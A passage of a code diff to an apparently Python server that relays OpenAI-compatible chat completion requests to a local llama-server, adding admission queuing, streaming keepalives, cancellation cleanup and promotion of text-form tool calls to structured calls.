+                request = request,
+                cancel_event = cancel_event,
+            )
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            lease.release()
+            _tracker.__exit__(None, None, None)
+            raise
+        except LlamaAdmissionCancelled as exc:
+            lease.release()
+            _tracker.__exit__(None, None, None)
+            api_monitor.finish(monitor_id, "cancelled")
+            raise HTTPException(
+                status_code = 499,
+                detail = _openai_admission_error_body(exc, status_code = 499),
+            )
+        return await _openai_passthrough_stream_admitted(
+            request,
+            cancel_event,
+            llama_backend,
+            payload,
+            model_name,
+            completion_id,
+            monitor_id = monitor_id,
+            admission_lease = lease,
+            tracker = _tracker,
+        )
+
+    admission_wait_started_at = time.monotonic()
+    _openai_admission_log(
+        "queued",
+        reservation,
+        request = request,
+        mode = "chat_passthrough_stream",
+        completion_id = completion_id,
+        level = "debug",
+    )
+
+    async def _queued_stream():
+        admitted_started = False
+        admitted_body_owns_cleanup = False
+        admitted_response = None
+        admitted_body_cancelled = False
+        try:
+            async for wait_item in _openai_admission_wait_stream_chunks(
+                reservation,
+                admission_config,
+                request = request,
+                cancel_event = cancel_event,
+            ):
+                if isinstance(wait_item, str):
+                    yield wait_item
+                    continue
+                _openai_admission_log(
+                    "granted-after-wait",
+                    reservation,
+                    request = request,
+                    mode = "chat_passthrough_stream",
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+                await _raise_if_openai_admission_cancelled(
+                    reservation,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+                admitted_response = await _openai_passthrough_stream_admitted(
+                    request,
+                    cancel_event,
+                    llama_backend,
+                    payload,
+                    model_name,
+                    completion_id,
+                    monitor_id = monitor_id,
+                    admission_lease = wait_item,
+                    tracker = _tracker,
+                )
+                admitted_started = True
+                iterator = admitted_response.body_iterator
+                admitted_body_owns_cleanup = True
+                try:
+                    async for chunk in iterator:
+                        yield chunk
+                except asyncio.CancelledError:
+                    admitted_body_cancelled = True
+                    raise
+                finally:
+                    await _close_openai_admitted_stream_iterator(
+                        iterator,
+                        cancelled = admitted_body_cancelled,
+                    )
+                    if not admitted_body_owns_cleanup:
+                        cleanup = getattr(admitted_response, "_unstarted_cleanup", None)
+                        if cleanup is not None:
+                            await cleanup()
+                return
+        except LlamaAdmissionTimeout as exc:
+            _openai_admission_log(
+                "timeout",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = completion_id,
+                level = "warning",
+            )
+            api_monitor.fail(monitor_id, str(exc))
+            yield _openai_stream_error_sse(_openai_admission_error_body(exc, status_code = 503))
+        except LlamaAdmissionCancelled:
+            _openai_admission_log(
+                "cancelled-before-upstream",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = completion_id,
+                level = "debug",
+            )
+            api_monitor.finish(monitor_id, "cancelled")
+            return
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
+        except HTTPException as exc:
+            status_code = getattr(exc, "status_code", 500) or 500
+            detail = exc.detail
+            error = (
+                detail
+                if isinstance(detail, dict) and "error" in detail
+                else openai_error_body(str(detail), status = status_code)
+            )
+            api_monitor.fail(monitor_id, str(detail))
+            yield _openai_stream_error_sse(error)
+        finally:
+            if not admitted_started:
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+                _tracker.__exit__(None, None, None)
+
+    async def _queued_unstarted_cleanup() -> None:
+        api_monitor.finish(monitor_id, "cancelled")
+        reservation.cancel()
+        _tracker.__exit__(None, None, None)
+
+    return _SameTaskStreamingResponse(
+        _queued_stream(),
+        media_type = "text/event-stream",
+        headers = {
+            "Cache-Control": "no-cache",
+            "Connection": "close",
+            "X-Accel-Buffering": "no",
+        },
+        unstarted_cleanup = _queued_unstarted_cleanup,
+    )
+
+
+async def _openai_passthrough_stream_admitted(
+    request,
+    cancel_event,
+    llama_backend,
+    payload,
+    model_name,
+    completion_id,
+    monitor_id: Optional[str] = None,
+    *,
+    admission_lease: LlamaAdmissionLease,
+    tracker,
+):
+    """Streaming client-side pass-through after Studio granted an upstream slot.
+
+    Forwards the client's OpenAI function-calling request to llama-server and
+    relays the SSE stream back with minimal normalization (reasoning-only
+    deltas gain ``content: ""``; errors and missing terminal markers get a
+    closing ``[DONE]``), preserving llama-server's native response ``id``,
+    ``finish_reason`` (including ``"tool_calls"``), ``delta.tool_calls``, and
+    any client-requested trailing ``usage`` chunk so the client sees a
+    standard OpenAI response.
+
+    Reasoning/tool-call splitting is delegated to llama-server (``--jinja
+    --reasoning-format auto``), so ``delta.content`` carries no raw markup and is
+    deliberately not re-parsed locally, unlike the ``/completion`` paths.
+    """
+    _tracker = tracker
+    target_url = f"{llama_backend.base_url}/v1/chat/completions"
+    upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend)
+
+    client = None
+    resp = None
+    send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None
+
+    async def _aclose_send_task(task: Optional[asyncio.Task[Optional[httpx.Response]]]) -> None:
+        if task is None:
+            return
+        if not task.done():
+            task.cancel()
+        try:
+            task_resp = await task
+            if task_resp is not None:
+                try:
+                    await task_resp.aclose()
+                except Exception:
+                    pass
+        except (asyncio.CancelledError, Exception):
+            pass
 
     # Keep tracker cleanup paired if pre-header dispatch is cancelled.
     try:
-        # Dispatch BEFORE returning StreamingResponse so transport errors and
-        # non-200 upstream statuses surface as real HTTP errors -- OpenAI SDKs
-        # rely on status codes to raise APIError/BadRequestError.
+        body = _build_openai_passthrough_body(
+            payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
+        )
+        # Text-form tool calls from small models get promoted to structured calls on
+        # the way back (declared client tools only); requests without tools or with
+        # auto_heal_tool_calls=false keep the unhealed relay. tool_choice constrains
+        # the allowlist ("none" disables, a forced function narrows to it).
+        _allowed_tools = heal_gate(
+            payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
+        )
+
+        # Keep the pre-header window short so accepted SSE clients receive
+        # immediate headers in the common timeout-reduced stall.
         client = httpx.AsyncClient(
             timeout = _llama_streaming_generation_timeout(),
             limits = httpx.Limits(max_keepalive_connections = 0),
             trust_env = False,
         )
-        resp = None
         _truncate_budget = (
             _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0
         )
+
         while True:
             try:
-                req = client.build_request(
-                    "POST", target_url, json = body, headers = {"Connection": "close"}
-                )
+                req = client.build_request("POST", target_url, json = body, headers = upstream_headers)
                 first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
-                resp = await _send_stream_with_preheader_cancel(
-                    client, req, cancel_event, request = request
+                send_task = asyncio.create_task(
+                    _send_stream_with_preheader_cancel(
+                        client,
+                        req,
+                        cancel_event,
+                        request = request,
+                        mark_cancel_on_cancel = False,
+                    )
                 )
+                done, _ = await asyncio.wait(
+                    {send_task},
+                    timeout = _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S,
+                    return_when = asyncio.FIRST_COMPLETED,
+                )
+                if send_task not in done:
+                    break
+
+                # Dispatch returned quickly enough to preserve pre-header status.
+                resp = await send_task
+                send_task = None
             except httpx.RequestError as e:
                 # llama-server subprocess crashed / starting / unreachable.
                 logger.error("openai passthrough stream: upstream unreachable: %s", e)
                 api_monitor.fail(monitor_id, _friendly_error(e))
+                await _aclose_send_task(send_task)
                 await _aclose_stream_resources(resp = resp, client = client)
                 raise HTTPException(
                     status_code = 502,
                     detail = _friendly_error(e),
                 )
+            if resp is None and send_task is not None and not send_task.done():
+                break
             if resp is None:
+                if cancel_event is not None:
+                    cancel_event.set()
                 api_monitor.finish(monitor_id, "cancelled")
                 try:
-                    await client.aclose()
-                except Exception:
-                    pass
-                _tracker.__exit__(None, None, None)
+                    await _aclose_send_task(send_task)
+                    await _aclose_stream_resources(client = client)
+                finally:
+                    try:
+                        admission_lease.release()
+                    finally:
+                        _tracker.__exit__(None, None, None)
                 return _SameTaskStreamingResponse(
                     iter(()),
                     media_type = "text/event-stream",
@@ -10646,6 +14201,7 @@ async def _openai_passthrough_stream(
                 await resp.aclose()
             except Exception:
                 pass
+            resp = None
             # Opt-in overflow policy: shrink and retry instead of a fatal 400.
             if (
                 _truncate_budget > 0
@@ -10661,6 +14217,8 @@ async def _openai_passthrough_stream(
             api_monitor.fail(monitor_id, err_text[:500])
             raise _openai_passthrough_error(upstream_status, err_text)
 
+        # Keep tracker cleanup paired if pre-header dispatch is cancelled after we
+        # have already committed headers.
         async def _stream():
             # Same httpx lifecycle pattern as _anthropic_passthrough_stream:
             # save resp.aiter_lines() so the finally block can aclose() it on
@@ -10668,21 +14226,29 @@ async def _openai_passthrough_stream(
             lines_iter = None
             # Watchers unblock aiter_lines() during prefill, before in-loop
             # cancel/disconnect checks can run.
-            cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
-            disconnect_watcher = asyncio.create_task(
-                _await_disconnect_then_close(request, resp, cancel_event)
-            )
+            cancel_watcher = None
+            disconnect_watcher = None
+
+            nonlocal resp, send_task, first_token_deadline, _truncate_budget
+            nonlocal client
             monitor_done = False
             saw_finish_reason = False
             saw_done = False
             saw_stream_error = False
+            saw_stream_item = False
             saw_tool_call_delta = False
+            terminal_seen = False
             last_chunk_id = completion_id
             last_chunk_model = model_name
             last_chunk_created = int(time.time())
+            healer = (
+                StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None
+            )
+            healed_call_index = 0
 
             def _synthetic_finish_line() -> str:
-                finish_reason = "tool_calls" if saw_tool_call_delta else "stop"
+                healed = healer is not None and healer.healed
+                finish_reason = "tool_calls" if (saw_tool_call_delta or healed) else "stop"
                 chunk = ChatCompletionChunk(
                     id = last_chunk_id,
                     created = last_chunk_created,
@@ -10696,7 +14262,216 @@ async def _openai_passthrough_stream(
                 )
                 return f"data: {chunk.model_dump_json(exclude_none = True)}"
 
+            def _healer_sse_lines(events) -> list:
+                # Serialize healer events as chunks matching the upstream stream's
+                # id/model/created so clients see one coherent completion.
+                nonlocal healed_call_index
+                lines = []
+                for kind, value in events:
+                    if kind == "text":
+                        if not value:
+                            continue
+                        delta = {"content": value}
+                    else:
+                        # parallel_tool_calls=false caps healed calls too (the SSE
+                        # line cap only sees structured upstream deltas).
+                        if payload.parallel_tool_calls is False and healed_call_index >= 1:
+                            continue
+                        delta = {
+                            "tool_calls": [
+                                {
+                                    "index": healed_call_index,
+                                    "id": value["id"],
+                                    "type": "function",
+                                    "function": value["function"],
+                                }
+                            ]
+                        }
+                        healed_call_index += 1
+                    chunk = {
+                        "id": last_chunk_id,
+                        "object": "chat.completion.chunk",
+                        "created": last_chunk_created,
+                        "model": last_chunk_model,
+                        "choices": [{"index": 0, "delta": delta, "finish_reason": None}],
+                    }
+                    lines.append("data: " + json.dumps(chunk, ensure_ascii = False))
+                return lines
+
+            stall_timeout_s = _openai_compat_stream_stall_timeout()
+
+            def _terminal_read_timeout_s() -> Optional[float]:
+                if terminal_seen:
+                    return _OPENAI_PASSTHROUGH_TERMINAL_GRACE_S
+                return stall_timeout_s
+
+            def _heal_transform(chunk_data: dict, raw_line: str) -> list:
+                """SSE lines to emit in place of one upstream line (healing on)."""
+                choices = chunk_data.get("choices")
+                if not (isinstance(choices, list) and choices and isinstance(choices[0], dict)):
+                    return [raw_line]
+                choice = choices[0]
+                delta = choice.get("delta")
+                delta = delta if isinstance(delta, dict) else {}
+                if delta.get("tool_calls"):
+                    # Structured call streamed: grammar mode worked. Flush any held
+                    # text (it preceded the call) and relay verbatim from here on.
+                    lines = _healer_sse_lines(healer.structured_tool_call_seen())
+                    if healed_call_index:
+                        if payload.parallel_tool_calls is False:
+                            # A healed call already consumed the single allowed
+                            # slot; the upstream SSE cap keeps native index 0, so
+                            # drop the native call here or the client gets two.
+                            del delta["tool_calls"]
+                            if delta or choice.get("finish_reason") or chunk_data.get("usage"):
+                                lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False))
+                            return lines
+                        # A healed call already went out on index 0..n-1; OpenAI
+                        # clients merge tool-call deltas by index, so shift the
+                        # native calls into the next indexes or they would merge
+                        # into the healed call.
+                        for tc in delta["tool_calls"]:
+                            if isinstance(tc, dict) and isinstance(tc.get("index"), int):
+                                tc["index"] += healed_call_index
+                        return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)]
+                    return lines + [raw_line]
+                content = delta.get("content")
+                finish = choice.get("finish_reason")
+                if not isinstance(content, str) or not content:
+                    if not finish:
+                        return [raw_line]
+                    # Finish chunk: last-chance heal of the residue, and rewrite a
+                    # "stop" into "tool_calls" when text-form calls were promoted.
+                    lines = _healer_sse_lines(healer.finalize())
+                    if healer.healed and finish == "stop":
+                        choice["finish_reason"] = "tool_calls"
+                        return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)]
+                    return lines + [raw_line]
+                events = healer.feed(content)
+                if finish:
+                    events += healer.finalize()
+                if not finish and events == [("text", content)]:
+                    # Nothing held or promoted: the healer passed the chunk
+                    # through whole, so keep the verbatim upstream bytes.
+                    return [raw_line]
+                del delta["content"]
+                prefix_lines = []
+                if delta:
+                    prefix_chunk = {k: v for k, v in chunk_data.items() if k != "usage"}
+                    prefix_choice = dict(choice)
+                    prefix_choice["delta"] = dict(delta)
+                    prefix_choice["finish_reason"] = None
+                    prefix_chunk["choices"] = [prefix_choice]
+                    prefix_lines.append("data: " + json.dumps(prefix_chunk, ensure_ascii = False))
+                    delta.clear()
+                lines = prefix_lines + _healer_sse_lines(events)
+                if delta or finish or chunk_data.get("usage"):
+                    if healer.healed and finish == "stop":
+                        choice["finish_reason"] = "tool_calls"
+                    lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False))
+                return lines
+
             try:
+                while True:
+                    if send_task is not None:
+                        last_keepalive_at = time.monotonic()
+                        while not send_task.done():
+                            # Wake often enough that _preheader_cancelled keeps
+                            # cancel/disconnect latency sub-second during prefill;
+                            # keepalives still pace off last_keepalive_at.
+                            wait_timeout = min(
+                                _STREAM_DISCONNECT_POLL_TIMEOUT_S,
+                                _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S,
+                            )
+                            done, _ = await asyncio.wait(
+                                {send_task},
+                                timeout = wait_timeout,
+                                return_when = asyncio.FIRST_COMPLETED,
+                            )
+                            if send_task in done:
+                                break
+                            if await _preheader_cancelled(cancel_event, request):
+                                api_monitor.finish(monitor_id, "cancelled")
+                                return
+                            # The downstream SSE response is already committed;
+                            # keep strict clients and proxies from treating a long
+                            # llama-server prefill/header wait as a dead stream.
+                            now = time.monotonic()
+                            if (
+                                now - last_keepalive_at
+                                >= _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S
+                            ):
+                                last_keepalive_at = now
+                                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                        if resp is None:
+                            try:
+                                resp = send_task.result()
+                            except httpx.RequestError as e:
+                                logger.error(
+                                    "openai passthrough stream: upstream unreachable: %s", e
+                                )
+                                api_monitor.fail(monitor_id, _friendly_error(e))
+                                yield _openai_stream_error_sse(_openai_stream_error_chunk(e))
+                                return
+                            send_task = None
+
+                    if resp is None:
+                        api_monitor.finish(monitor_id, "cancelled")
+                        return
+                    if resp.status_code == 200:
+                        break
+
+                    err_bytes = await resp.aread()
+                    err_text = err_bytes.decode("utf-8", errors = "replace")
+                    logger.error(
+                        "openai passthrough upstream error: status=%s body=%s",
+                        resp.status_code,
+                        err_text[:500],
+                    )
+                    upstream_status = resp.status_code
+                    try:
+                        await resp.aclose()
+                    except Exception:
+                        pass
+                    resp = None
+                    if (
+                        _truncate_budget > 0
+                        and _classify_llama_generation_error(Exception(err_text))
+                        and _apply_overflow_truncation(body, err_text)
+                    ):
+                        _truncate_budget -= 1
+                        req = client.build_request(
+                            "POST", target_url, json = body, headers = upstream_headers
+                        )
+                        first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
+                        send_task = asyncio.create_task(
+                            _send_stream_with_preheader_cancel(
+                                client,
+                                req,
+                                cancel_event,
+                                request = request,
+                                mark_cancel_on_cancel = False,
+                            )
+                        )
+                        continue
+
+                    upstream_error = _openai_passthrough_error(upstream_status, err_text)
+                    error_payload = (
+                        upstream_error.detail
+                        if isinstance(upstream_error.detail, dict)
+                        else openai_error_body(
+                            str(upstream_error.detail),
+                            status = upstream_status,
+                        )
+                    )
+                    api_monitor.fail(monitor_id, err_text[:500])
+                    yield _openai_stream_error_sse(error_payload)
+                    return
+
+                cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
+                disconnect_watcher = asyncio.create_task(
+                    _await_disconnect_then_close(request, resp, cancel_event)
+                )
                 lines_iter = resp.aiter_lines()
                 async for raw_line in _aiter_llama_stream_items(
                     lines_iter,
@@ -10704,14 +14479,24 @@ async def _openai_passthrough_stream(
                     request = request,
                     first_token_deadline = first_token_deadline,
                     response = resp,
+                    post_first_item_read_timeout_s = _terminal_read_timeout_s,
                 ):
                     if not raw_line:
                         continue
-                    if not raw_line.startswith("data: "):
+                    if not raw_line.startswith("data:"):
                         continue
-                    data_text = raw_line[6:].strip()
+                    saw_stream_item = True
+                    data_text = raw_line[5:].strip()
                     if data_text == "[DONE]":
                         saw_done = True
+                        # Upstream ended without a finish chunk: heal the residue
+                        # first so the synthetic finish sees healer.healed.
+                        if healer is not None and not saw_stream_error:
+                            for held_line in _healer_sse_lines(healer.finalize()):
+                                _monitor_openai_sse_line(
+                                    monitor_id, held_line, llama_backend.context_length
+                                )
+                                yield held_line + "\n\n"
                         if (
                             not saw_finish_reason
                             and not saw_stream_error
@@ -10733,13 +14518,11 @@ async def _openai_passthrough_stream(
                         yield raw_line + "\n\n"
                         monitor_done = True
                         break
-                    # Honor parallel_tool_calls=false (best-effort): drop tool_call
-                    # deltas with index>=1 so only the first call streams. Only
-                    # lines carrying tool_calls are reparsed; everything else is
-                    # relayed byte-for-byte.
-                    if payload.parallel_tool_calls is False and '"tool_calls"' in raw_line:
-                        raw_line = _cap_parallel_tool_calls_sse_line(raw_line)
-                        data_text = raw_line[6:].strip()
+                    raw_line = _normalize_openai_passthrough_sse_line(
+                        raw_line,
+                        cap_parallel_tool_calls = payload.parallel_tool_calls is False,
+                    )
+                    data_text = raw_line[5:].strip()
                     try:
                         chunk_data = json.loads(data_text)
                     except json.JSONDecodeError:
@@ -10760,20 +14543,24 @@ async def _openai_passthrough_stream(
                                 delta = choice.get("delta")
                                 if isinstance(delta, dict) and delta.get("tool_calls"):
                                     saw_tool_call_delta = True
-                        # Detect an upstream error chunk independently of API
-                        # monitoring: when monitor_id is None (skip_api_monitor),
-                        # _monitor_openai_sse_line returns before inspecting the
-                        # error, so without this the synthetic-finish guard would
-                        # emit a successful finish_reason after a failed stream.
+                        # Detect an error chunk independently of API monitoring
+                        # (skip_api_monitor returns early), else the synthetic
+                        # finish would fire after a failed stream.
                         if _monitor_openai_error_message(chunk_data):
                             saw_stream_error = True
-                    monitor_event = _monitor_openai_sse_line(
-                        monitor_id,
-                        raw_line,
-                        llama_backend.context_length,
-                    )
-                    if monitor_event == "error":
-                        saw_stream_error = True
+                    # With healing active, a content-bearing line may be replaced by
+                    # held/promoted chunks; otherwise the single (already
+                    # normalized) line relays unchanged (monitored exactly as
+                    # emitted either way).
+                    if (
+                        healer is not None
+                        and not healer.dormant
+                        and isinstance(chunk_data, dict)
+                        and not saw_stream_error
+                    ):
+                        out_lines = _heal_transform(chunk_data, raw_line)
+                    else:
+                        out_lines = [raw_line]
                     # If a trailing usage-only chunk (include_usage) arrives before
                     # any finish chunk, emit the synthetic finish first so the order
                     # stays finish -> usage -> [DONE], matching the other streams.
@@ -10787,23 +14574,67 @@ async def _openai_passthrough_stream(
                         and not saw_stream_error
                         and not cancel_event.is_set()
                     ):
+                        if healer is not None:
+                            # Residue must precede the finish it may upgrade.
+                            held = _healer_sse_lines(healer.finalize())
+                            for held_line in held:
+                                _monitor_openai_sse_line(
+                                    monitor_id, held_line, llama_backend.context_length
+                                )
+                                yield held_line + "\n\n"
                         finish_line = _synthetic_finish_line()
                         _monitor_openai_sse_line(
                             monitor_id, finish_line, llama_backend.context_length
                         )
                         yield finish_line + "\n\n"
                         saw_finish_reason = True
-                    # Relay verbatim to preserve llama-server's native id,
-                    # finish_reason, delta.tool_calls, and usage chunks.
-                    yield raw_line + "\n\n"
-                    if monitor_event == "done":
-                        monitor_done = True
+                    for out_line in out_lines:
+                        monitor_event = _monitor_openai_sse_line(
+                            monitor_id,
+                            out_line,
+                            llama_backend.context_length,
+                        )
+                        if monitor_event == "error":
+                            saw_stream_error = True
+                        # Relay to preserve llama-server's native id,
+                        # finish_reason, delta.tool_calls, and usage chunks.
+                        yield out_line + "\n\n"
+                        if monitor_event == "done":
+                            monitor_done = True
+                            break
+                        terminal_state = (
+                            _openai_passthrough_terminal_state_from_data(chunk_data)
+                            if out_line is raw_line
+                            else _openai_passthrough_sse_line_terminal_state(out_line)
+                        )
+                        if terminal_state == "usage" or (
+                            terminal_state == "finish" and not _wants_stream_usage(payload)
+                        ):
+                            done_line = _SSE_DONE_LINE
+                            _monitor_openai_sse_line(
+                                monitor_id,
+                                done_line,
+                                llama_backend.context_length,
+                            )
+                            yield done_line + "\n\n"
+                            saw_done = True
+                            monitor_done = True
+                            break
+                        if terminal_state == "finish":
+                            terminal_seen = True
+                    if monitor_done:
                         break
                 if not saw_done and not saw_stream_error and not cancel_event.is_set():
                     # Synthesize a finish chunk only if one was not already
                     # emitted (e.g. before a trailing usage-only chunk), but
                     # always close with [DONE] whenever the upstream omitted it,
                     # so the stream ends on the [DONE] sentinel either way.
+                    if healer is not None:
+                        for held_line in _healer_sse_lines(healer.finalize()):
+                            _monitor_openai_sse_line(
+                                monitor_id, held_line, llama_backend.context_length
+                            )
+                            yield held_line + "\n\n"
                     if not saw_finish_reason:
                         finish_line = _synthetic_finish_line()
                         _monitor_openai_sse_line(
@@ -10812,7 +14643,7 @@ async def _openai_passthrough_stream(
                             llama_backend.context_length,
                         )
                         yield finish_line + "\n\n"
-                    done_line = "data: [DONE]"
+                    done_line = _SSE_DONE_LINE
                     _monitor_openai_sse_line(
                         monitor_id,
                         done_line,
@@ -10828,6 +14659,29 @@ async def _openai_passthrough_stream(
             except asyncio.CancelledError:
                 api_monitor.finish(monitor_id, "cancelled")
                 raise
+            except httpx.ReadTimeout as e:
+                if terminal_seen and not saw_stream_error and not cancel_event.is_set():
+                    done_line = _SSE_DONE_LINE
+                    _monitor_openai_sse_line(
+                        monitor_id,
+                        done_line,
+                        llama_backend.context_length,
+                    )
+                    yield done_line + "\n\n"
+                    api_monitor.finish(monitor_id)
+                    return
+                if cancel_event.is_set():
+                    api_monitor.finish(monitor_id, "cancelled")
+                    return
+                logger.error(
+                    "openai passthrough stream %s: %s",
+                    "stalled mid-response" if saw_stream_item else "timeout",
+                    e,
+                )
+                api_monitor.fail(monitor_id, _friendly_error(e))
+                get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
+                err = _openai_stream_error_chunk(e)
+                yield _openai_stream_error_sse(err)
             except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
                 # Watcher closed resp on cancel. Emit nothing extra; the client
                 # initiated the cancel or already disconnected.
@@ -10836,6 +14690,16 @@ async def _openai_passthrough_stream(
                     get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                     raise
                 api_monitor.finish(monitor_id, "cancelled")
+            except HTTPException as exc:
+                status_code = getattr(exc, "status_code", 500) or 500
+                detail = exc.detail
+                error_payload = (
+                    detail
+                    if isinstance(detail, dict) and "error" in detail
+                    else openai_error_body(str(detail), status = status_code)
+                )
+                api_monitor.fail(monitor_id, str(detail))
+                yield _openai_stream_error_sse(error_payload)
             except Exception as e:
                 if cancel_event.is_set():
                     api_monitor.finish(monitor_id, "cancelled")
@@ -10845,23 +14709,37 @@ async def _openai_passthrough_stream(
                 api_monitor.fail(monitor_id, _friendly_error(e))
                 get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                 err = _openai_stream_error_chunk(e)
-                yield f"data: {json.dumps(err)}\n\n"
+                yield _openai_stream_error_sse(err)
             finally:
-                await _aclose_stream_resources(
-                    watchers = (cancel_watcher, disconnect_watcher),
-                    iterator = lines_iter,
-                    resp = resp,
-                    client = client,
-                )
-                _tracker.__exit__(None, None, None)
+                # _aclose_stream_resources re-raises a close-time CancelledError
+                # only after finishing teardown, and the tracker exits either way.
+                try:
+                    await _aclose_send_task(send_task)
+                    await _aclose_stream_resources(
+                        watchers = (cancel_watcher, disconnect_watcher),
+                        iterator = lines_iter,
+                        resp = resp,
+                        client = client,
+                    )
+                finally:
+                    try:
+                        admission_lease.release()
+                    finally:
+                        _tracker.__exit__(None, None, None)
 
         async def _unstarted_cleanup() -> None:
             # Client disconnected before the body stream started, so _stream()'s
             # finally never ran. Release the eagerly-opened upstream resp/client
             # and the cancel-registry entry here; the watchers and line iterator
             # are created inside _stream(), so there is nothing else to close.
-            await _aclose_stream_resources(resp = resp, client = client)
-            _tracker.__exit__(None, None, None)
+            try:
+                await _aclose_send_task(send_task)
+                await _aclose_stream_resources(resp = resp, client = client)
+            finally:
+                try:
+                    admission_lease.release()
+                finally:
+                    _tracker.__exit__(None, None, None)
 
         return _SameTaskStreamingResponse(
             _stream(),
@@ -10873,8 +14751,22 @@ async def _openai_passthrough_stream(
             },
             unstarted_cleanup = _unstarted_cleanup,
         )
-    except BaseException:
-        _tracker.__exit__(None, None, None)
+    except BaseException as exc:
+        if isinstance(exc, asyncio.CancelledError):
+            if cancel_event is not None:
+                cancel_event.set()
+            api_monitor.finish(monitor_id, "cancelled")
+        else:
+            detail = exc.detail if isinstance(exc, HTTPException) else _friendly_error(exc)
+            api_monitor.fail(monitor_id, str(detail))
+        try:
+            await _aclose_send_task(send_task)
+            await _aclose_stream_resources(resp = resp, client = client)
+        finally:
+            try:
+                admission_lease.release()
+            finally:
+                _tracker.__exit__(None, None, None)
         raise
 
 
@@ -10883,6 +14775,109 @@ async def _openai_passthrough_non_streaming(
     payload,
     model_name,
     monitor_id: Optional[str] = None,
+    *,
+    request: Optional[Request] = None,
+    cancel_event = None,
+):
+    """Non-streaming pass-through guarded by local llama-server admission."""
+    try:
+        reservation, admission_config = _openai_llama_admission_reserve(
+            request = request,
+            llama_backend = llama_backend,
+        )
+    except LlamaAdmissionQueueFull as exc:
+        _openai_admission_log(
+            "queue-full",
+            snapshot = exc.snapshot,
+            request = request,
+            mode = "chat_passthrough_nonstream",
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 429)
+
+    lease = None
+    admission_wait_started_at = None
+    try:
+        if reservation.lease_nowait() is None:
+            admission_wait_started_at = time.monotonic()
+            _openai_admission_log(
+                "queued",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_nonstream",
+                level = "debug",
+            )
+        lease = await _wait_for_openai_admission_non_streaming(
+            reservation,
+            admission_config,
+            request = request,
+            cancel_event = cancel_event,
+        )
+        if admission_wait_started_at is not None:
+            _openai_admission_log(
+                "granted-after-wait",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_nonstream",
+                wait_started_at = admission_wait_started_at,
+                level = "debug",
+            )
+        await _raise_if_openai_admission_cancelled(
+            reservation,
+            request = request,
+            cancel_event = cancel_event,
+        )
+        return await _openai_passthrough_non_streaming_upstream(
+            llama_backend,
+            payload,
+            model_name,
+            monitor_id = monitor_id,
+            request = request,
+            cancel_event = cancel_event,
+        )
+    except LlamaAdmissionTimeout as exc:
+        _openai_admission_log(
+            "timeout",
+            reservation,
+            request = request,
+            mode = "chat_passthrough_nonstream",
+            wait_started_at = admission_wait_started_at,
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 503)
+    except LlamaAdmissionCancelled as exc:
+        _openai_admission_log(
+            "cancelled-before-upstream",
+            reservation,
+            request = request,
+            mode = "chat_passthrough_nonstream",
+            wait_started_at = admission_wait_started_at,
+            level = "debug",
+        )
+        api_monitor.finish(monitor_id, "cancelled")
+        raise HTTPException(
+            status_code = 499,
+            detail = _openai_admission_error_body(exc, status_code = 499),
+        )
+    except asyncio.CancelledError:
+        api_monitor.finish(monitor_id, "cancelled")
+        reservation.cancel()
+        raise
+    finally:
+        if lease is not None:
+            lease.release()
+
+
+async def _openai_passthrough_non_streaming_upstream(
+    llama_backend,
+    payload,
+    model_name,
+    monitor_id: Optional[str] = None,
+    *,
+    request: Optional[Request] = None,
+    cancel_event = None,
 ):
     """Non-streaming client-side pass-through for /v1/chat/completions.
 
@@ -10891,20 +14886,67 @@ async def _openai_passthrough_non_streaming(
     ``tool_calls``, and accurate ``usage`` token counts.
     """
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
+    upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend)
     body = _build_openai_passthrough_body(
         payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
     )
+    body["stream"] = False
+    body.pop("stream_options", None)
 
     _truncate_budget = (
         _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0
     )
-    while True:
-        try:
-            resp = await nonstreaming_client().post(
+
+    async def _post(body_to_send):
+        if cancel_event is None and request is None:
+            return await nonstreaming_client().post(
                 target_url,
-                json = body,
+                json = body_to_send,
+                headers = upstream_headers,
                 timeout = _llama_non_streaming_generation_timeout(),
             )
+
+        if cancel_event is None:
+            cancel = threading.Event()
+        else:
+            cancel = cancel_event
+        client = _cancelable_nonstreaming_client()
+        watcher = asyncio.create_task(
